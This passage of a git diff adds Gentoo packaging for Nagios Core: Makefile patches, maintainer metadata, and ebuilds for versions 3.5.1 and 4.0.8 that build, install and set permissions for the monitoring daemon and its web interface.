+@@ -300,8 +300,11 @@ install-webconf:
+ @echo ""
+
+ install-exfoliation:
+- cp -rf contrib/exfoliation/stylesheets/* $(DESTDIR)$(HTMLDIR)/stylesheets
+- cp -rf contrib/exfoliation/images/* $(DESTDIR)$(HTMLDIR)/images
++ for file in contrib/exfoliation/stylesheets/*.*; \
++ do $(INSTALL) -m 664 $(INSTALL_OPTS) $$file $(DESTDIR)$(HTMLDIR)/stylesheets; done
++
++ for file in contrib/exfoliation/images/*.*; \
++ do $(INSTALL) -m 664 $(INSTALL_OPTS) $$file $(DESTDIR)$(HTMLDIR)/images; done
+
+ @echo ""
+ @echo "*** Exfoliation theme installed ***"
+@@ -309,8 +312,11 @@ install-exfoliation:
+ @echo ""
+
+ install-classicui:
+- cp -rf html/stylesheets/* $(DESTDIR)$(HTMLDIR)/stylesheets
+- cp -rf html/images/* $(DESTDIR)$(HTMLDIR)/images
++ for file in html/stylesheets/*.*; \
++ do $(INSTALL) -m 664 $(INSTALL_OPTS) $$file $(DESTDIR)$(HTMLDIR)/stylesheets; done
++
++ for file in html/images/*.*; \
++ do $(INSTALL) -m 664 $(INSTALL_OPTS) $$file $(DESTDIR)$(HTMLDIR)/images; done
+
+ @echo ""
+ @echo "*** Classic theme installed ***"
+--
+2.0.4
+
diff --git a/net-analyzer/nagios-core/files/use-MAKE-instead-of-bare-make.patch b/net-analyzer/nagios-core/files/use-MAKE-instead-of-bare-make.patch
new file mode 100644
index 000000000000..e53ba78b6e38
--- /dev/null
+++ b/net-analyzer/nagios-core/files/use-MAKE-instead-of-bare-make.patch
@@ -0,0 +1,37 @@
+From e043015081c9dc6869b282da76ae0de5ac9840a2 Mon Sep 17 00:00:00 2001
+From: Michael Orlitzky <michael@orlitzky.com>
+Date: Wed, 5 Nov 2014 13:46:04 -0500
+Subject: [PATCH 1/1] Use $(MAKE) instead of bare "make" in subtarget of
+ install-html.
+
+When running make as a subprocess of itself, it's best to invoke it as
+$(MAKE). The rest of Makefile.in does this correctly, but there was
+one instance where it was forgotten. For posterity, this can lead to
+warnings like,
+
+ make[1]: warning: jobserver unavailable: using -j1.
+ Add '+' to parent make rule.
+
+More info is available at,
+
+ https://www.gnu.org/software/make/manual/html_node/Error-Messages.html
+---
+ Makefile.in | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/Makefile.in b/Makefile.in
+index f487c47..1341160 100644
+--- a/Makefile.in
++++ b/Makefile.in
+@@ -222,7 +222,7 @@ test-perl: cgis
+
+ install-html:
+ cd $(SRC_HTM) && $(MAKE) install
+- make install-exfoliation
++ $(MAKE) install-exfoliation
+
+ install-base:
+ cd $(SRC_BASE) && $(MAKE) install
+--
+2.0.4
+
diff --git a/net-analyzer/nagios-core/metadata.xml b/net-analyzer/nagios-core/metadata.xml
new file mode 100644
index 000000000000..78b30f7c65e8
--- /dev/null
+++ b/net-analyzer/nagios-core/metadata.xml
@@ -0,0 +1,41 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+ <maintainer>
+ <email>andrew@ahamilto.net</email>
+ <name>Andrew Hamilton</name>
+ <description>Maintainer. Assign bugs to him.</description>
+ </maintainer>
+ <maintainer>
+ <email>creffett@gentoo.org</email>
+ <name>Chris Reffett</name>
+ <description>Proxy maintainer. CC him on bugs.</description>
+ </maintainer>
+ <maintainer>
+ <email>mjo@gentoo.org</email>
+ <name>Michael Orlitzky</name>
+ </maintainer>
+ <herd>proxy-maintainers</herd>
+ <herd>sysadmin</herd>
+ <longdescription>
+ Nagios is a host and service monitor designed to inform you of
+ network problems before your clients, end-users or managers do. It
+ has been designed to run under the Linux operating system, but
+ works fine under most *NIX variants as well. The monitoring daemon
+ runs intermittent checks on hosts and services you specify using
+ external "plugins" which return status information to Nagios. When
+ problems are encountered, the daemon can send notifications out to
+ administrative contacts in a variety of different ways (email,
+ instant message, SMS, etc.). Current status information,
+ historical logs, and reports can all be accessed via a web
+ browser.
+ </longdescription>
+ <use>
+ <flag name="classicui">use the classic web theme</flag>
+ <flag name="lighttpd">install <pkg>www-servers/lighttpd</pkg> config</flag>
+ <flag name="web">enable web interface</flag>
+ </use>
+ <upstream>
+ <remote-id type="sourceforge">nagios</remote-id>
+ </upstream>
+</pkgmetadata>
diff --git a/net-analyzer/nagios-core/nagios-core-3.5.1.ebuild b/net-analyzer/nagios-core/nagios-core-3.5.1.ebuild
new file mode 100644
index 000000000000..adbc7e8efeff
--- /dev/null
+++ b/net-analyzer/nagios-core/nagios-core-3.5.1.ebuild
@@ -0,0 +1,217 @@
+# Copyright 1999-2015 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+
+inherit depend.apache eutils multilib toolchain-funcs user
+
+MY_P=${PN/-core}-${PV}
+DESCRIPTION="Nagios Core - Check daemon, CGIs, docs"
+HOMEPAGE="http://www.nagios.org/"
+SRC_URI="mirror://sourceforge/nagios/${MY_P}.tar.gz"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="alpha amd64 ~arm ~arm64 hppa ppc ppc64 sparc x86"
+IUSE="debug lighttpd perl +web vim-syntax"
+DEPEND="virtual/mailx
+ web? (
+ >=media-libs/gd-1.8.3-r5[jpeg,png]
+ lighttpd? ( www-servers/lighttpd dev-lang/php[cgi] )
+ apache2? ( || ( dev-lang/php[apache2] dev-lang/php[cgi] ) )
+ )
+ perl? ( >=dev-lang/perl-5.6.1-r7 )"
+RDEPEND="${DEPEND}
+ !net-analyzer/nagios-imagepack
+ vim-syntax? ( app-vim/nagios-syntax )"
+
+want_apache2
+
+S="${WORKDIR}/${PN/-core}"
+
+pkg_setup() {
+ depend.apache_pkg_setup
+
+ enewgroup nagios
+ enewuser nagios -1 /bin/bash /var/nagios/home nagios
+}
+
+src_prepare() {
+ epatch "${FILESDIR}/${PN}-3.5.1-process_cgivars.patch"
+ local strip="$(echo '$(MAKE) strip-post-install')"
+ sed -i -e "s:${strip}::" {cgi,base}/Makefile.in || die "sed failed in Makefile.in"
+}
+
+src_configure() {
+ local myconf
+
+ if use perl ; then
+ myconf="${myconf} --enable-embedded-perl --with-perlcache"
+ fi
+
+ if use debug; then
+ myconf="${myconf} --enable-DEBUG0"
+ myconf="${myconf} --enable-DEBUG1"
+ myconf="${myconf} --enable-DEBUG2"
+ myconf="${myconf} --enable-DEBUG3"
+ myconf="${myconf} --enable-DEBUG4"
+ myconf="${myconf} --enable-DEBUG5"
+ fi
+
+ if use !apache2 && use !lighttpd ; then
+ myconf="${myconf} --with-command-group=nagios"
+ else
+ if use apache2 ; then
+ myconf="${myconf} --with-command-group=apache"
+ myconf="${myconf} --with-httpd-conf=/etc/apache2/conf.d"
+ elif use lighttpd ; then
+ myconf="${myconf} --with-command-group=lighttpd"
+ fi
+ fi
+
+ econf ${myconf} \
+ --prefix=/usr \
+ --bindir=/usr/sbin \
+ --sbindir=/usr/$(get_libdir)/nagios/cgi-bin \
+ --datadir=/usr/share/nagios/htdocs \
+ --localstatedir=/var/nagios \
+ --sysconfdir=/etc/nagios \
+ --libexecdir=/usr/$(get_libdir)/nagios/plugins
+}
+
+src_compile() {
+ emake CC=$(tc-getCC) nagios
+
+ if use web ; then
+ # Only compile the CGI's if "web" useflag is set.
+ emake CC=$(tc-getCC) DESTDIR="${D}" cgis
+ fi
+}
+
+src_install() {
+ dodoc Changelog INSTALLING LEGAL README UPGRADING
+
+ if ! use web ; then
+ sed -i -e 's/cd $(SRC_CGI) && $(MAKE) $@/# line removed due missing web use flag/' \
+ -e 's/cd $(SRC_HTM) && $(MAKE) $@/# line removed due missing web use flag/' \
+ -e 's/$(MAKE) install-exfoliation/# line removed due missing web use flag/' \
+ Makefile
+ fi
+
+ sed -i -e 's/^contactgroups$//g' Makefile
+
+ emake DESTDIR="${D}" install
+ emake DESTDIR="${D}" install-config
+ emake DESTDIR="${D}" install-commandmode
+ if use web; then
+ emake DESTDIR="${D}" install-classicui
+ fi
+
+ newinitd "${FILESDIR}"/nagios3 nagios
+ newconfd "${FILESDIR}"/conf.d nagios
+
+ # Apache Module
+ if use web ; then
+ if use apache2 ; then
+ insinto "${APACHE_MODULES_CONFDIR}"
+ doins "${FILESDIR}"/99_nagios3.conf
+ elif use lighttpd ; then
+ insinto /etc/lighttpd
+ newins "${FILESDIR}/lighttpd_nagios3-r1.conf" nagios.conf
+ else
+ ewarn "${CATEGORY}/${PF} only supports Apache-2.x or Lighttpd webserver"
+ ewarn "out-of-the-box. Since you are not using one of them, you"
+ ewarn "have to configure your webserver accordingly yourself."
+ fi
+
+ fi
+
+ for dir in etc/nagios var/nagios ; do
+ chown -R nagios:nagios "${D}/${dir}" || die "Failed chown of ${D}/${dir}"
+ done
+
+ dosbin p1.pl
+
+ chown -R root:root "${D}"/usr/$(get_libdir)/nagios
+ find "${D}"/usr/$(get_libdir)/nagios -type d -print0 | xargs -0 chmod 755
+ find "${D}"/usr/$(get_libdir)/nagios/cgi-bin -type f -print0 | xargs -0 chmod 755
+
+ keepdir /etc/nagios
+ keepdir /var/nagios
+ keepdir /var/nagios/archives
+ keepdir /var/nagios/rw
+ keepdir /var/nagios/spool/checkresults
+
+ if use !apache2 && use !lighttpd; then
+ chown -R nagios:nagios "${D}"/var/nagios/rw || die "Failed chown of ${D}/var/nagios/rw"
+ else
+ if use apache2 ; then
+ chown -R nagios:apache "${D}"/var/nagios/rw || die "Failed chown of ${D}/var/nagios/rw"
+ elif use lighttpd ; then
+ chown -R nagios:lighttpd "${D}"/var/nagios/rw || die "Failed chown of ${D}/var/nagios/rw"
+ fi
+ fi
+
+ chmod ug+s "${D}"/var/nagios/rw || die "Failed Chmod of ${D}/var/nagios/rw"
+ chmod 0750 "${D}"/etc/nagios || die "Failed chmod of ${D}/etc/nagios"
+}
+
+pkg_postinst() {
+ elog "If you want nagios to start at boot time"
+ elog "remember to execute:"
+ elog " rc-update add nagios default"
+ elog
+
+ if use web ; then
+ elog "This does not include cgis that are perl-dependent"
+ elog "Currently traceroute.cgi is perl-dependent"
+ elog "To have ministatus.cgi requires copying of ministatus.c"
+ elog "to cgi directory for compiling."
+
+ elog "Note that the user your webserver is running at needs"
+ elog "read-access to /etc/nagios."
+ elog
+
+ if use apache2 || use lighttpd ; then
+ elog "There are several possible solutions to accomplish this,"
+ elog "choose the one you are most comfortable with:"
+ elog
+ if use apache2 ; then
+ elog " usermod -G nagios apache"
+ elog "or"
+ elog " chown nagios:apache /etc/nagios"
+ elog
+ elog "Also edit /etc/conf.d/apache2 and add \"-D NAGIOS\""
+ elif use lighttpd ; then
+ elog " usermod -G nagios lighttpd "
+ elog "or"
+ elog " chown nagios:lighttpd /etc/nagios"
+ fi
+ elog
+ elog "That will make nagios's web front end visable via"
+ elog "http://localhost/nagios/"
+ elog
+ else
+ elog "IMPORTANT: Do not forget to add the user your webserver"
+ elog "is running as to the nagios group!"
+ fi
+
+ else
+ elog "Please note that you have installed Nagios without web interface."
+ elog "Please don't file any bugs about having no web interface when you do this."
+ elog "Thank you!"
+ fi
+
+ elog
+ elog "If your kernel has /proc protection, nagios"
+ elog "will not be happy as it relies on accessing the proc"
+ elog "filesystem. You can fix this by adding nagios into"
+ elog "the group wheel, but this is not recomended."
+ elog
+}
+
+pkg_postinst() {
+ einfo "Fixing permissions"
+ chown nagios:nagios "${ROOT}"var/nagios
+}
diff --git a/net-analyzer/nagios-core/nagios-core-4.0.8-r1.ebuild b/net-analyzer/nagios-core/nagios-core-4.0.8-r1.ebuild
new file mode 100644
index 000000000000..716d575c5335
--- /dev/null
+++ b/net-analyzer/nagios-core/nagios-core-4.0.8-r1.ebuild
@@ -0,0 +1,270 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+
+inherit depend.apache eutils multilib toolchain-funcs user
+
+MY_P=${PN/-core}-${PV}
+DESCRIPTION="Nagios Core - Check daemon, CGIs, docs"
+HOMEPAGE="http://www.nagios.org/"
+
+# The name of the directory into which our Gentoo icons will be
+# extracted, and also the basename of the archive containing it.
+GENTOO_ICONS="${PN}-gentoo-icons-20141125"
+SRC_URI="mirror://sourceforge/nagios/${MY_P}.tar.gz
+ web? ( http://dev.gentoo.org/~mjo/distfiles/${GENTOO_ICONS}.tar )"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="~alpha ~amd64 ~arm ~arm64 ~hppa ~ppc ~ppc64 ~sparc ~x86"
+IUSE="classicui lighttpd perl +web vim-syntax"
+
+# In pkg_postinst(), we change the group of the Nagios configuration
+# directory to that of the web server user. It can't belong to both
+# apache/lighttpd groups at the same time, so we block this combination
+# for our own sanity.
+#
+# This could be made to work, but we would need a better way to allow
+# the web user read-only access to Nagios's configuration directory.
+#
+REQUIRED_USE="apache2? ( !lighttpd )"
+
+# sys-devel/libtool dependency is bug #401237.
+#
+# Note, we require one of the apache2 CGI modules:
+#
+# * mod_cgi
+# * mod_cgid
+# * mod_fcgid
+#
+# We just don't care /which/ one. And of course PHP supports both CGI
+# (USE=cgi) and FastCGI (USE=fpm). We're pretty lenient with the
+# dependencies, and expect the user not to do anything /too/
+# stupid. (For example, installing Apache with only FastCGI support, and
+# PHP with only CGI support.)
+#
+DEPEND="sys-devel/libtool
+ virtual/mailx
+ perl? ( dev-lang/perl )
+ web? (
+ media-libs/gd[jpeg,png]
+ lighttpd? ( www-servers/lighttpd[php] )
+ apache2? (
+ || (
+ >=www-servers/apache-2.4[apache2_modules_alias,apache2_modules_cgi]
+ >=www-servers/apache-2.4[apache2_modules_alias,apache2_modules_cgid]
+ >=www-servers/apache-2.4[apache2_modules_alias,apache2_modules_fcgid]
+ )
+
+ || ( dev-lang/php[apache2] dev-lang/php[cgi] dev-lang/php[fpm] )
+ )
+ )"
+RDEPEND="${DEPEND}
+ !net-analyzer/nagios-imagepack
+ vim-syntax? ( app-vim/nagios-syntax )"
+
+want_apache2
+
+S="${WORKDIR}/${MY_P}"
+
+pkg_setup() {
+ depend.apache_pkg_setup
+
+ enewgroup nagios
+ enewuser nagios -1 /bin/bash /var/nagios/home nagios
+}
+
+src_prepare(){
+ # Upstream bug, fixes a QA warning:
+ #
+ # http://tracker.nagios.org/view.php?id=650
+ #
+ epatch "${FILESDIR}"/use-MAKE-instead-of-bare-make.patch
+
+ # Upstream bug:
+ #
+ # http://tracker.nagios.org/view.php?id=651
+ #
+ # Gentoo bug #388321.
+ #
+ epatch "${FILESDIR}"/use-INSTALL-to-install-themes.patch
+
+ # Upstream bug:
+ #
+ # http://tracker.nagios.org/view.php?id=534
+ #
+ # Gentoo bug #530640.
+ epatch "${FILESDIR}"/fix-bogus-perf-data-warnings.patch
+}
+
+src_configure() {
+ local myconf
+
+ if use perl; then
+ myconf="${myconf} --enable-embedded-perl --with-perlcache"
+ fi
+
+ if use !apache2 && use !lighttpd ; then
+ myconf="${myconf} --with-command-group=nagios"
+ else
+ if use apache2 ; then
+ myconf="${myconf} --with-command-group=apache"
+ myconf="${myconf} --with-httpd-conf=/etc/apache2/conf.d"
+ elif use lighttpd ; then
+ myconf="${myconf} --with-command-group=lighttpd"
+ fi
+ fi
+
+ econf ${myconf} \
+ --prefix=/usr \
+ --bindir=/usr/sbin \
+ --sbindir=/usr/$(get_libdir)/nagios/cgi-bin \
+ --datadir=/usr/share/nagios/htdocs \
+ --localstatedir=/var/nagios \
+ --sysconfdir=/etc/nagios \
+ --libexecdir=/usr/$(get_libdir)/nagios/plugins
+}
+
+src_compile() {
+ emake CC=$(tc-getCC) nagios
+
+ if use web; then
+ # Only compile the CGIs when USE=web is set.
+ emake CC=$(tc-getCC) DESTDIR="${D}" cgis
+ fi
+}
+
+src_install() {
+ dodoc Changelog INSTALLING LEGAL README.asciidoc UPGRADING
+
+ emake DESTDIR="${D}" install-base
+ emake DESTDIR="${D}" install-basic
+ emake DESTDIR="${D}" install-config
+ emake DESTDIR="${D}" install-commandmode
+
+ if use web; then
+ emake DESTDIR="${D}" install-cgis
+
+ # install-html installs the new exfoliation theme
+ emake DESTDIR="${D}" install-html
+
+ if use classicui; then
+ # This overwrites the already-installed exfoliation theme
+ emake DESTDIR="${D}" install-classicui
+ fi
+
+ # Install cute Gentoo icons (bug #388323), setting their
+ # owner, group, and mode to match those of the rest of Nagios's
+ # images.
+ insopts --group=nagios --owner=nagios --mode=0664
+ insinto /usr/share/nagios/htdocs/images/logos
+ doins "${WORKDIR}/${GENTOO_ICONS}"/*.*
+ insopts --mode=0644 # Back to the default...
+ fi
+
+ newinitd "${FILESDIR}"/nagios4 nagios
+ newconfd "${FILESDIR}"/conf.d nagios
+
+ if use web ; then
+ if use apache2 ; then
+ # Install the Nagios configuration file for Apache.
+ insinto "${APACHE_MODULES_CONFDIR}"
+ doins "${FILESDIR}"/99_nagios4.conf
+ elif use lighttpd ; then
+ # Install the Nagios configuration file for Lighttpd.
+ insinto /etc/lighttpd
+ newins "${FILESDIR}/lighttpd_nagios4.conf" nagios.conf
+ else
+ ewarn "${CATEGORY}/${PF} only supports apache or lighttpd"
+ ewarn "out of the box. Since you are not using one of them, you"
+ ewarn "will have to configure your webserver yourself."
+ fi
+ fi
+
+ for dir in etc/nagios var/nagios ; do
+ chown -R nagios:nagios "${D}/${dir}" \
+ || die "failed chown of ${D}/${dir}"
+ done
+
+ chown -R root:root "${D}/usr/$(get_libdir)/nagios" \
+ || die "failed chown of ${D}/usr/$(get_libdir)/nagios"
+
+ # The following two find...exec statements will die properly as long
+ # as chmod is only called once (that is, as long as the argument
+ # list is small enough).
+ find "${D}/usr/$(get_libdir)/nagios" -type d \
+ -exec chmod 755 '{}' + || die 'failed to make nagios dirs traversable'
+
+ if use web; then
+ find "${D}/usr/$(get_libdir)/nagios/cgi-bin" -type f \
+ -exec chmod 755 '{}' + || die 'failed to make cgi-bins executable'
+ fi
+
+ keepdir /etc/nagios
+ keepdir /var/nagios
+ keepdir /var/nagios/archives
+ keepdir /var/nagios/rw
+ keepdir /var/nagios/spool/checkresults
+
+ if use !apache2 && use !lighttpd; then
+ chown -R nagios:nagios "${D}"/var/nagios/rw \
+ || die "failed chown of ${D}/var/nagios/rw"
+ else
+ if use apache2 ; then
+ chown -R nagios:apache "${D}"/var/nagios/rw \
+ || die "failed chown of ${D}/var/nagios/rw"
+ elif use lighttpd ; then
+ chown -R nagios:lighttpd "${D}"/var/nagios/rw \
+ || die "failed chown of ${D}/var/nagios/rw"
+ fi
+ fi
+
+ chmod ug+s "${D}"/var/nagios/rw || die "failed chmod of ${D}/var/nagios/rw"
+ chmod 0750 "${D}"/etc/nagios || die "failed chmod of ${D}/etc/nagios"
+}
+
+pkg_postinst() {
+
+ if use web; then
+ elog "Note that your web server user requires read-only access to"
+ elog "${ROOT}etc/nagios."
+
+ if use apache2 || use lighttpd ; then
+ elog
+ elog "To that end, we have changed the group of ${ROOT}etc/nagios"
+ elog "to that of your web server user."
+ elog
+ if use apache2; then
+ chown nagios:apache "${ROOT}etc/nagios" \
+ || die "failed to change group of ${ROOT}etc/nagios"
+
+ elog "To enable the Nagios web front-end, please edit"
+ elog "${ROOT}etc/conf.d/apache2 and add \"-D NAGIOS -D PHP5\""
+ elog "to APACHE2_OPTS. Then Nagios will be available at,"
+ elog
+ elif use lighttpd; then
+ chown nagios:lighttpd "${ROOT}etc/nagios" \
+ || die "failed to change group of ${ROOT}etc/nagios"
+ elog "To enable the Nagios web front-end, please add"
+ elog "'include \"nagios.conf\"' to the lighttpd configuration"
+ elog "file at ${ROOT}etc/lighttpd/lighttpd.conf. Then Nagios"
+ elog "will be available at,"
+ elog
+ fi
+
+ elog " http://localhost/nagios/"
+ else
+ elog "Since you're not using either Apache or Lighttpd, you"
+ elog "will have to grant the necessary permissions yourself."
+ fi
+ fi
+
+ elog
+ elog "If your kernel has /proc protection, nagios"
+ elog "will not be happy as it relies on accessing the proc"
+ elog "filesystem. You can fix this by adding nagios into"
+ elog "the group wheel, but this is not recomended."
+ elog
+}
diff --git a/net-analyzer/nagios-core/nagios-core-4.0.8-r2.ebuild b/net-analyzer/nagios-core/nagios-core-4.0.8-r2.ebuild
new file mode 100644
index 000000000000..117a8833169a
--- /dev/null
+++ b/net-analyzer/nagios-core/nagios-core-4.0.8-r2.ebuild
@@ -0,0 +1,282 @@
+# Copyright 1999-2015 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+
+inherit depend.apache eutils multilib toolchain-funcs user
+
+MY_P=${PN/-core}-${PV}
+DESCRIPTION="Nagios Core - Check daemon, CGIs, docs"
+HOMEPAGE="http://www.nagios.org/"
+
+# The name of the directory into which our Gentoo icons will be
+# extracted, and also the basename of the archive containing it.
+GENTOO_ICONS="${PN}-gentoo-icons-20141125"
+SRC_URI="mirror://sourceforge/nagios/${MY_P}.tar.gz
+ web? ( http://dev.gentoo.org/~mjo/distfiles/${GENTOO_ICONS}.tar )"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="~alpha ~amd64 ~arm ~arm64 ~hppa ~ppc ~ppc64 ~sparc ~x86"
+IUSE="classicui lighttpd perl +web vim-syntax"
+
+# In pkg_postinst(), we change the group of the Nagios configuration
+# directory to that of the web server user. It can't belong to both
+# apache/lighttpd groups at the same time, so we block this combination
+# for our own sanity.
+#
+# This could be made to work, but we would need a better way to allow
+# the web user read-only access to Nagios's configuration directory.
+#
+REQUIRED_USE="apache2? ( !lighttpd )"
+
+# A list of modules used in our Apache config file.
+APACHE_MODS="apache2_modules_alias," # "Alias" directive
+APACHE_MODS+="apache2_modules_authz_core" # "Require" directive
+
+# Note, we require one of the apache2 CGI modules:
+#
+# * mod_cgi
+# * mod_cgid
+# * mod_fcgid
+# * mod_proxy_fcgi
+#
+# We just don't care /which/ one. And of course PHP supports both CGI
+# (USE=cgi) and FastCGI (USE=fpm) as well as mod_php (USE=apache2).
+#
+# Note: trying to move the base apache dep into DEPEND and build upon it
+# caused problems.
+#
+# The first group corresponds to PHP running under Apache's mod_php.
+PHP_MOD="( >=www-servers/apache-2.4[${APACHE_MODS}]
+ dev-lang/php[apache2] )"
+
+# The second is for PHP running through CGI with mod_cgi or mod_cgid.
+PHP_CGI="( || ( >=www-servers/apache-2.4[${APACHE_MODS},apache2_modules_cgi]
+ >=www-servers/apache-2.4[${APACHE_MODS},apache2_modules_cgid] )
+ dev-lang/php[cgi] )"
+
+# This one's for running PHP through CGI with mod_fcgid.
+PHP_FCGID="( >=www-servers/apache-2.4[${APACHE_MODS}]
+ www-apache/mod_fcgid
+ dev-lang/php[cgi] )"
+
+# And the last one is for running PHP through mod_proxy_fcgi.
+PHP_FPM="( >=www-servers/apache-2.4[${APACHE_MODS},apache2_modules_proxy_fcgi]
+ dev-lang/php[fpm] )"
+
+DEPEND="dev-libs/libltdl
+ virtual/mailx
+ perl? ( dev-lang/perl )
+ web? ( media-libs/gd[jpeg,png]
+ lighttpd? ( www-servers/lighttpd[php] )
+ apache2? ( || ( ${PHP_MOD} ${PHP_CGI} ${PHP_FCGID} ${PHP_FPM} ) ) )"
+
+RDEPEND="${DEPEND}
+ !net-analyzer/nagios-imagepack
+ vim-syntax? ( app-vim/nagios-syntax )"
+
+want_apache2
+
+S="${WORKDIR}/${MY_P}"
+
+pkg_setup() {
+ depend.apache_pkg_setup
+
+ enewgroup nagios
+ enewuser nagios -1 /bin/bash /var/nagios/home nagios
+}
+
+src_prepare(){
+ # Upstream bug, fixes a QA warning:
+ #
+ # http://tracker.nagios.org/view.php?id=650
+ #
+ epatch "${FILESDIR}"/use-MAKE-instead-of-bare-make.patch
+
+ # Upstream bug:
+ #
+ # http://tracker.nagios.org/view.php?id=651
+ #
+ # Gentoo bug #388321.
+ #
+ epatch "${FILESDIR}"/use-INSTALL-to-install-themes.patch
+
+ # Upstream bug:
+ #
+ # http://tracker.nagios.org/view.php?id=534
+ #
+ # Gentoo bug #530640.
+ epatch "${FILESDIR}"/fix-bogus-perf-data-warnings.patch
+}
+
+src_configure() {
+ local myconf
+
+ if use perl; then
+ myconf="${myconf} --enable-embedded-perl --with-perlcache"
+ fi
+
+ if use !apache2 && use !lighttpd ; then
+ myconf="${myconf} --with-command-group=nagios"
+ else
+ if use apache2 ; then
+ myconf="${myconf} --with-command-group=apache"
+ myconf="${myconf} --with-httpd-conf=/etc/apache2/conf.d"
+ elif use lighttpd ; then
+ myconf="${myconf} --with-command-group=lighttpd"
+ fi
+ fi
+
+ econf ${myconf} \
+ --prefix=/usr \
+ --bindir=/usr/sbin \
+ --sbindir=/usr/$(get_libdir)/nagios/cgi-bin \
+ --datadir=/usr/share/nagios/htdocs \
+ --localstatedir=/var/nagios \
+ --sysconfdir=/etc/nagios \
+ --libexecdir=/usr/$(get_libdir)/nagios/plugins
+}
+
+src_compile() {
+ emake CC=$(tc-getCC) nagios
+
+ if use web; then
+ # Only compile the CGIs when USE=web is set.
+ emake CC=$(tc-getCC) DESTDIR="${D}" cgis
+ fi
+}
+
+src_install() {
+ dodoc Changelog INSTALLING LEGAL README.asciidoc UPGRADING
+
+ emake DESTDIR="${D}" install-base
+ emake DESTDIR="${D}" install-basic
+ emake DESTDIR="${D}" install-config
+ emake DESTDIR="${D}" install-commandmode
+
+ if use web; then
+ emake DESTDIR="${D}" install-cgis
+
+ # install-html installs the new exfoliation theme
+ emake DESTDIR="${D}" install-html
+
+ if use classicui; then
+ # This overwrites the already-installed exfoliation theme
+ emake DESTDIR="${D}" install-classicui
+ fi
+
+ # Install cute Gentoo icons (bug #388323), setting their
+ # owner, group, and mode to match those of the rest of Nagios's
+ # images.
+ insopts --group=nagios --owner=nagios --mode=0664
+ insinto /usr/share/nagios/htdocs/images/logos
+ doins "${WORKDIR}/${GENTOO_ICONS}"/*.*
+ insopts --mode=0644 # Back to the default...
+ fi
+
+ newinitd "${FILESDIR}"/nagios4 nagios
+ newconfd "${FILESDIR}"/conf.d nagios
+
+ if use web ; then
+ if use apache2 ; then
+ # Install the Nagios configuration file for Apache.
+ insinto "${APACHE_MODULES_CONFDIR}"
+ doins "${FILESDIR}"/99_nagios4.conf
+ elif use lighttpd ; then
+ # Install the Nagios configuration file for Lighttpd.
+ insinto /etc/lighttpd
+ newins "${FILESDIR}/lighttpd_nagios4.conf" nagios.conf
+ else
+ ewarn "${CATEGORY}/${PF} only supports apache or lighttpd"
+ ewarn "out of the box. Since you are not using one of them, you"
+ ewarn "will have to configure your webserver yourself."
+ fi
+ fi
+
+ for dir in etc/nagios var/nagios ; do
+ chown -R nagios:nagios "${D}/${dir}" \
+ || die "failed chown of ${D}/${dir}"
+ done
+
+ chown -R root:root "${D}/usr/$(get_libdir)/nagios" \
+ || die "failed chown of ${D}/usr/$(get_libdir)/nagios"
+
+ # The following two find...exec statements will die properly as long
+ # as chmod is only called once (that is, as long as the argument
+ # list is small enough).
+ find "${D}/usr/$(get_libdir)/nagios" -type d \
+ -exec chmod 755 '{}' + || die 'failed to make nagios dirs traversable'
+
+ if use web; then
+ find "${D}/usr/$(get_libdir)/nagios/cgi-bin" -type f \
+ -exec chmod 755 '{}' + || die 'failed to make cgi-bins executable'
+ fi
+
+ keepdir /etc/nagios
+ keepdir /var/nagios
+ keepdir /var/nagios/archives
+ keepdir /var/nagios/rw
+ keepdir /var/nagios/spool/checkresults
+
+ if use !apache2 && use !lighttpd; then
+ chown -R nagios:nagios "${D}"/var/nagios/rw \
+ || die "failed chown of ${D}/var/nagios/rw"
+ else
+ if use apache2 ; then
+ chown -R nagios:apache "${D}"/var/nagios/rw \
+ || die "failed chown of ${D}/var/nagios/rw"
+ elif use lighttpd ; then
+ chown -R nagios:lighttpd "${D}"/var/nagios/rw \
+ || die "failed chown of ${D}/var/nagios/rw"
+ fi
+ fi
+
+ chmod ug+s "${D}"/var/nagios/rw || die "failed chmod of ${D}/var/nagios/rw"
+ chmod 0750 "${D}"/etc/nagios || die "failed chmod of ${D}/etc/nagios"
+}
+
+pkg_postinst() {
+
+ if use web; then
+ elog "Note that your web server user requires read-only access to"
+ elog "${ROOT}etc/nagios."
+
+ if use apache2 || use lighttpd ; then
+ elog
+ elog "To that end, we have changed the group of ${ROOT}etc/nagios"
+ elog "to that of your web server user."
+ elog
+ if use apache2; then
+ chown nagios:apache "${ROOT}etc/nagios" \
+ || die "failed to change group of ${ROOT}etc/nagios"
+
+ elog "To enable the Nagios web front-end, please edit"
+ elog "${ROOT}etc/conf.d/apache2 and add \"-D NAGIOS -D PHP5\""
+ elog "to APACHE2_OPTS. Then Nagios will be available at,"
+ elog
+ elif use lighttpd; then
+ chown nagios:lighttpd "${ROOT}etc/nagios" \
+ || die "failed to change group of ${ROOT}etc/nagios"
+ elog "To enable the Nagios web front-end, please add"
+ elog "'include \"nagios.conf\"' to the lighttpd configuration"
+ elog "file at ${ROOT}etc/lighttpd/lighttpd.conf. Then Nagios"
+ elog "will be available at,"
+ elog
+ fi
+
+ elog " http://localhost/nagios/"
+ else
+ elog "Since you're not using either Apache or Lighttpd, you"
+ elog "will have to grant the necessary permissions yourself."
+ fi
+ fi
+
+ elog
+ elog "If your kernel has /proc protection, nagios"
+ elog "will not be happy as it relies on accessing the proc"
+ elog "filesystem. You can fix this by adding nagios into"
+ elog "the group wheel, but this is not recomended."
+ elog
+}
diff --git a/net-analyzer/nagios-plugins-flameeyes/metadata.xml b/net-analyzer/nagios-plugins-flameeyes/metadata.xml
new file mode 100644
index 000000000000..6baa383f5130
--- /dev/null
+++ b/net-analyzer/nagios-plugins-flameeyes/metadata.xml
@@ -0,0 +1,19 @@
+<?xml version="1.0" encoding="UTF-8"?>
